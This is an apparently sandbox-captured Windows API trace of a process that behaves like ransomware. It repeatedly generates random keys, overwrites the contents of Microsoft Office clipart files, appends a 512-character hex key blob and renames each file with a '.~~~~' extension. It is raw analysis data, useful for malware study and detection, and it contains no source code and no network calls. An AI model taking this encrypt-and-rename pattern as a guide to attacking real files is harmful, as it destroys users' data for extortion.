	[0104.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28699d8
	[0104.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.685] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.686] GetLastError () returned 0x0
	[0104.686] GetLastError () returned 0x0
	[0104.686] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.686] GetLastError () returned 0x0
	[0104.686] GetLastError () returned 0x0
	[0104.689] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb0f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.689] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4f08, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x4f08, lpOverlapped=0x0) returned 1
	[0104.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0104.690] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.690] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.691] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.691] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.691] CloseHandle (hObject=0x128) returned 1
	[0104.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.691] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.~~~~")) returned 1
	[0104.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.692] GetLastError () returned 0x0
	[0104.771] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.810] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.810] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.810] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22480056147) returned 1
	[0104.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8269970, dwHighDateTime=0x1d60e1e)) 
	[0104.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c800
	[0104.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c800 | out: hHeap=0x300000) returned 1
	[0104.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a060
	[0104.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.811] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.811] GetLastError () returned 0x0
	[0104.812] GetLastError () returned 0x0
	[0104.812] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.812] GetLastError () returned 0x0
	[0104.812] GetLastError () returned 0x0
	[0104.816] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffac68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.816] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5398, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x5398, lpOverlapped=0x0) returned 1
	[0104.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0104.818] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.818] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.818] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.818] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.818] CloseHandle (hObject=0x128) returned 1
	[0104.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.818] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.~~~~")) returned 1
	[0104.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.819] GetLastError () returned 0x0
	[0104.820] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.821] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0104.821] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0104.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.822] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22481174585) returned 1
	[0104.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa8269970, dwHighDateTime=0x1d60e1e)) 
	[0104.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c838
	[0104.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0104.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c838 | out: hHeap=0x300000) returned 1
	[0104.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0104.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869b08
	[0104.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.822] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.823] GetLastError () returned 0x0
	[0104.823] GetLastError () returned 0x0
	[0104.823] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.823] GetLastError () returned 0x0
	[0104.823] GetLastError () returned 0x0
	[0104.825] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff5a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.825] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xa5c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xa5c, lpOverlapped=0x0) returned 1
	[0104.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0104.826] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.826] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.827] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.827] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.827] CloseHandle (hObject=0x128) returned 1
	[0104.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.827] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.~~~~")) returned 1
	[0104.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.828] GetLastError () returned 0x0
	[0104.828] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.830] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0104.830] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0104.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.830] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22482000644) returned 1
	[0104.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa828fad0, dwHighDateTime=0x1d60e1e)) 
	[0104.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c870
	[0104.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0104.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c870 | out: hHeap=0x300000) returned 1
	[0104.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0104.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a190
	[0104.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.831] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.831] GetLastError () returned 0x0
	[0104.831] GetLastError () returned 0x0
	[0104.831] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.831] GetLastError () returned 0x0
	[0104.831] GetLastError () returned 0x0
	[0104.834] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff100, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.834] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xf00, lpOverlapped=0x0) returned 1
	[0104.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0104.835] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.836] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.836] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.836] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.836] CloseHandle (hObject=0x128) returned 1
	[0104.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.837] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.~~~~")) returned 1
	[0104.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.838] GetLastError () returned 0x0
	[0104.839] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.841] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0104.841] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0104.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.841] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22483102727) returned 1
	[0104.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa82b5c30, dwHighDateTime=0x1d60e1e)) 
	[0104.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c8a8
	[0104.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c8a8 | out: hHeap=0x300000) returned 1
	[0104.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286a228
	[0104.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.842] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.842] GetLastError () returned 0x0
	[0104.842] GetLastError () returned 0x0
	[0104.842] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.843] GetLastError () returned 0x0
	[0104.843] GetLastError () returned 0x0
	[0104.927] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff834a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.927] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x7cb6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x7cb6, lpOverlapped=0x0) returned 1
	[0104.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0104.949] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.949] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.949] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.949] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.949] CloseHandle (hObject=0x128) returned 1
	[0104.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
	[0104.949] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.~~~~")) returned 1
	[0105.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0105.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.037] GetLastError () returned 0x0
	[0105.038] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0105.040] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.040] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.040] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22503017689) returned 1
	[0105.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa847ecb0, dwHighDateTime=0x1d60e1e)) 
	[0105.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cbf0
	[0105.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cbf0 | out: hHeap=0x300000) returned 1
